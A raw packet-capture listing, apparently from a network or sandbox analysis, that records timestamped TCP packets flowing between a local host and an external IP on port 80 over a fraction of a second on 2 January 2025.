Jan 2, 2025 20:20:01.739525080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.739550114 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.740536928 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.740549088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.740561008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.740571976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.740588903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.740601063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.740609884 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.740622044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.740633011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.740669966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.740669966 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.740700960 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.741530895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741595984 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741606951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741617918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741626978 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.741631985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741638899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.741647005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741691113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.741719961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741722107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.741770983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.741875887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741889000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741909981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741921902 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741934061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741935968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.741935968 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.741945982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741960049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.741961956 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.741971016 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742003918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742003918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742769957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742783070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742799997 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742815971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742824078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742824078 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742829084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742856979 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742856979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742875099 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742889881 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742892027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742903948 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742907047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742923021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742940903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742940903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742955923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742968082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742979050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742990971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.742994070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.742994070 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.743027925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.743030071 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.743042946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.743056059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.743066072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.743097067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.743097067 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.823251963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.823270082 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.823282003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.823292971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.823303938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.823311090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.823337078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.823348999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.823362112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.823364973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.823385954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.823415995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.823436975 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824044943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824057102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824076891 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824085951 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824090004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824105978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824117899 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824136019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824152946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824177980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824192047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824204922 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824214935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824222088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824240923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824256897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824497938 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824510098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824521065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824542999 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824599981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824603081 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824615955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824626923 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824640989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824650049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824655056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824666023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.824680090 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.824702024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.825006962 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825020075 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825035095 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825056076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825057983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.825068951 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825082064 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825086117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.825097084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825119019 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.825148106 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.825615883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825624943 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825647116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825659037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825660944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.825673103 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825686932 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825697899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825700998 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.825711966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.825732946 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.825772047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.826610088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.826622009 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.826632977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.826666117 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.826683998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.826690912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.826695919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.826711893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.826723099 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.826731920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.826738119 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.826747894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.826750040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.826792002 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.826819897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.827075005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.827085972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.827097893 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.827124119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.827137947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.827155113 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.827157974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.827172995 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.827184916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.827187061 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.827198029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.827199936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.827223063 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.827249050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.828171968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828233004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828236103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.828249931 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828277111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828289986 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828300953 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828306913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.828315973 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828325987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.828327894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828357935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.828375101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.828550100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828562975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828586102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828603029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828603983 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.828617096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828628063 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828632116 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.828643084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.828663111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.828692913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.829794884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.829839945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.829843998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.829863071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.829874992 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.829886913 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.829895020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.829904079 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.829926968 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.829931021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.829943895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.829953909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.829962015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.829972982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.829988956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.830005884 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.830013037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.830022097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.830034971 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.830043077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.830043077 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.830063105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.830075979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.830116987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.831084013 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.831094027 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.831130028 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.831130981 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.831149101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.831152916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.831171036 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.831173897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.831185102 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.831197977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.831208944 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.831219912 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.831238031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.831240892 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.831281900 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832247972 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832261086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832273006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832284927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832298994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832298994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832318068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832331896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832340956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832346916 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832372904 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832376957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832411051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832423925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832458973 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832514048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832528114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832540035 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832566023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832581043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832592964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832593918 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832607031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832624912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.832631111 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832655907 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.832691908 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.833419085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833441019 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833453894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833460093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.833467960 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833487034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.833488941 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833502054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.833504915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833518982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833519936 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.833530903 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833537102 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.833549023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833563089 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833566904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.833576918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833590031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833599091 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.833604097 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833621025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.833622932 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.833638906 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.833668947 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.913952112 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.913968086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.913980961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.913992882 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914006948 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914016008 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.914020061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914036989 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914046049 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.914134979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.914674044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914686918 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914699078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914716959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.914727926 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914737940 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.914748907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914762020 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914762020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.914771080 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.914777040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.914787054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.914810896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.914824963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.915143967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915157080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915169954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915190935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915194988 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.915205956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915216923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.915220976 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915235996 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915249109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915251970 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.915271997 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.915301085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.915482044 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915494919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915532112 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.915618896 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915632010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915643930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915656090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915666103 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.915668964 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915683985 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.915709972 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.915747881 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.916286945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.916299105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.916313887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.916327000 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.916327953 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.916347980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.916348934 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.916363955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.916371107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.916378975 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:01.916400909 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.916424990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:01.917177916 CET	80	49704	47.254.187.72	192.168.2.8
